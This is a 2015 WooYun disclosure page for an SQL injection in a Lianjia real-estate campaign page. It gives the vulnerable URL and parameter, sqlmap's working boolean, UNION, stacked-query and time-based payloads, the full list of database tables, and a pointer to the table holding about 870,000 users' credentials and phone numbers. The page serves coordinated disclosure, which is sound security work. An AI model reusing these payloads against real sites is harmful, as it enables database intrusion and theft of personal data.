当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0110913

漏洞标题：链家某站SQL注射可导致87w用户信息泄露

相关厂商：homelink.com.cn

漏洞作者： 深度安全实验室

提交时间：2015-04-28 22:28

修复时间：2015-06-13 10:04

公开时间：2015-06-13 10:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-28： 细节已通知厂商并且等待厂商处理中
2015-04-29： 厂商已经确认，细节仅向厂商公开
2015-05-09： 细节向核心白帽子及相关领域专家公开
2015-05-19： 细节向普通白帽子公开
2015-05-29： 细节向实习白帽子公开
2015-06-13： 细节向公众公开

简要描述：

详细说明：

http://huodong.homelink.com.cn/xinfang/seckill.php?cid=24

1.JPG

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=24 AND 6904=6904
    Type: UNION query
    Title: MySQL UNION query (NULL) - 14 columns
    Payload: cid=-7099 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7172716871,0x756a546c425a62466a65,0x7167796c71),NULL#
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: cid=24; SELECT SLEEP(5)-- 
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: cid=24 AND SLEEP(5)
---
web application technology: PHP 5.4.28
back-end DBMS: MySQL 5.0.11
Database: homelink
[191 tables]
+---------------------------------------------+
| app_pic                                     |
| comm_his_trans_record                       |
| community                                   |
| community_pic                               |
| community_relate_subwayline_walktime        |
| decoration_company                          |
| decoration_company_complaints               |
| decoration_company_dic                      |
| decoration_company_pic                      |
| decoration_company_plan                     |
| decoration_company_plan_audit_log           |
| decoration_company_share_comm               |
| decoration_company_users                    |
| district                                    |
| district_business                           |
| era_agent                                   |
| era_agent_community                         |
| era_agent_complain                          |
| era_agent_familiar_area                     |
| era_agent_four_phone                        |
| era_agent_four_phone_stat                   |
| era_agent_permission                        |
| era_agent_pic                               |
| era_agent_pic_dic                           |
| era_agent_school_pic                        |
| era_agent_school_pic_dic                    |
| era_basis_subway_line                       |
| era_basis_subway_station                    |
| era_basis_subway_station_community_relation |
| era_building_year                           |
| era_com_app_version                         |
| era_comment_failure_history                 |
| era_comment_report                          |
| era_community_agent_rank                    |
| era_community_app_push                      |
| era_community_build_relation                |
| era_community_com_log                       |
| era_community_com_pic                       |
| era_community_comments                      |
| era_community_frame_base_info               |
| era_community_frame_pic                     |
| era_community_his_price                     |
| era_community_impression                    |
| era_community_index_bottom                  |
| era_community_master                        |
| era_community_nearby_community              |
| era_community_periphery                     |
| era_customer_house                          |
| era_details_see_community                   |
| era_details_see_house                       |
| era_faq_answers                             |
| era_faq_asked_question                      |
| era_faq_category                            |
| era_faq_suggested_experts                   |
| era_faq_suggested_keywords                  |
| era_for_searcher                            |
| era_for_searcher_subway                     |
| era_frontpage_recommend                     |
| era_house                                   |
| era_house_accues                            |
| era_house_com_delete                        |
| era_house_comment                           |
| era_house_comment_dic                       |
| era_house_list_agnet                        |
| era_house_modify_logs                       |
| era_house_notification                      |
| era_house_pic                               |
| era_house_price_change                      |
| era_map_heat_data                           |
| era_no_synchronization_pic                  |
| era_org                                     |
| era_owner_house_comment                     |
| era_owner_house_comment_dic                 |
| era_owner_score                             |
| era_rank_dic                                |
| era_school_best_comm                        |
| era_school_building_relation                |
| era_school_cj                               |
| era_school_comment                          |
| era_school_comment_agents                   |
| era_school_comment_dic                      |
| era_school_community_stat                   |
| era_school_counterpart_periphery            |
| era_school_district_info                    |
| era_school_label                            |
| era_school_pic                              |
| era_se_agent_assess                         |
| era_se_customer                             |
| era_see_house                               |
| era_see_house_assess                        |
| era_see_house_middle                        |
| era_store_community                         |
| era_store_community_relation                |
| era_user_favorites                          |
| era_user_orbit_collect_five                 |
| era_user_orbit_collect_four                 |
| era_user_orbit_collect_one                  |
| era_user_orbit_collect_three                |
| era_user_orbit_collect_two                  |
| era_user_orbit_interest_house               |
| era_user_orbit_s_analyze_result             |
| era_user_orbit_s_area_analyze               |
| era_user_orbit_s_bbd_analyze                |
| era_user_orbit_s_comm_analyze               |
| era_user_orbit_s_floor_analyze              |
| era_user_orbit_s_fyear_analyze              |
| era_user_orbit_s_ho_analyze                 |
| era_user_orbit_s_price_analyze              |
| era_user_orbit_s_room_analyze               |
| era_user_orbit_similar_business             |
| era_user_orbit_similar_comm                 |
| era_user_push_hid                           |
| era_user_recommend                          |
| fphone_agent_change_city_log                |
| fphone_base_info                            |
| fphone_pri_bind_route_set                   |
| fphone_pri_ext_add                          |
| fphone_pri_route_add                        |
| house_count                                 |
| house_hot_recommend_bak                     |
| job_log                                     |
| kettle_job_log                              |
| kettle_setp_log                             |
| kettle_trans_log                            |
| licai_mobile                                |
| nanjing_yz_entrust                          |
| new_community                               |
| new_community_bk                            |
| new_community_comment                       |
| new_community_dict                          |
| new_community_frame                         |
| new_community_near_comm                     |
| new_community_pic                           |
| new_community_user                          |
| new_communtiy_panic_buying                  |
| new_communtiy_panic_buying_record           |
| pg_bdm_element                              |
| pg_business_trend                           |
| pg_city_trend                               |
| pg_community_trend                          |
| pg_factor_dict                              |
| pg_factor_type                              |
| pg_rent_example                             |
| pg_user_transaction                         |
| pinyin                                      |
| temp_true_house                             |
| tj_house                                    |
| tj_house_pic                                |
| tj_house_preference                         |
| tj_qi                                       |
| tj_user                                     |
| v_era_se_agent_assess                       |
| v_web_user_clinet                           |
| wct_no_synchronization_pic                  |
| web_admin                                   |
| web_admin_phone                             |
| web_ads                                     |
| web_ads_position                            |
| web_broker                                  |
| web_group                                   |
| web_log                                     |
| web_menu                                    |
| web_score_active_user                       |
| web_score_address                           |
| web_score_aduser                            |
| web_score_details                           |
| web_score_order                             |
| web_score_shop                              |
| web_score_usercount                         |
| web_score_xls                               |
| web_search_log                              |
| web_user_client                             |
| web_user_login                              |
| web_user_mobile                             |
| web_zhuanti                                 |
| web_zhuanti_era                             |
| web_zhuanti_keywords                        |
| yz_entrust                                  |
| yz_follow_up                                |
| zt_bj_temp_true_house                       |
| zt_bj_temp_true_house_num                   |
| zt_bj_temp_true_house_pj                    |
| zt_bj_video_house                           |
| zt_cdzhenfy                                 |
| zt_countrysite_draw                         |
| zt_countrysite_drawlog                      |
| zt_countrysite_userinfo                     |
| zt_qdmuxiao2014_20140730                    |
| zt_qdmuxiao2014_record                      |
| zt_shanghai_draw                            |
| zt_shanghai_drawlist                        |
+---------------------------------------------+


看了一下，数据和 WooYun: 链家官网SQL注射可导致70w用户信息泄露 差不多，只不过现在数据是87万了~
用户信息在web_user_client表中：

2.png


取某些字段（用户名，密码，手机）来看看：

3.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-04-29 10:02

厂商回复：

谢谢对链家安全的关注。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-29 09:30 | 北京链家房地产经纪有限公司(乌云厂商)

    问下，这个漏洞是通过什么途径发现的，我在网站的页面中找不到这个链接，直接访问确实存在，所以想问下细节。

  2. 2015-06-13 10:57 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    @北京链家房地产经纪有限公司 我觉着是扫描器吧。。。查一下日志不就知道了

  3. 2015-06-14 12:10 | 苦咖啡 ( 实习白帽子 | Rank:55 漏洞数:10 | 我就一菜逼，来看大牛装逼的)

    @北京链家房地产经纪有限公司 请安全员不！！！嘿嘿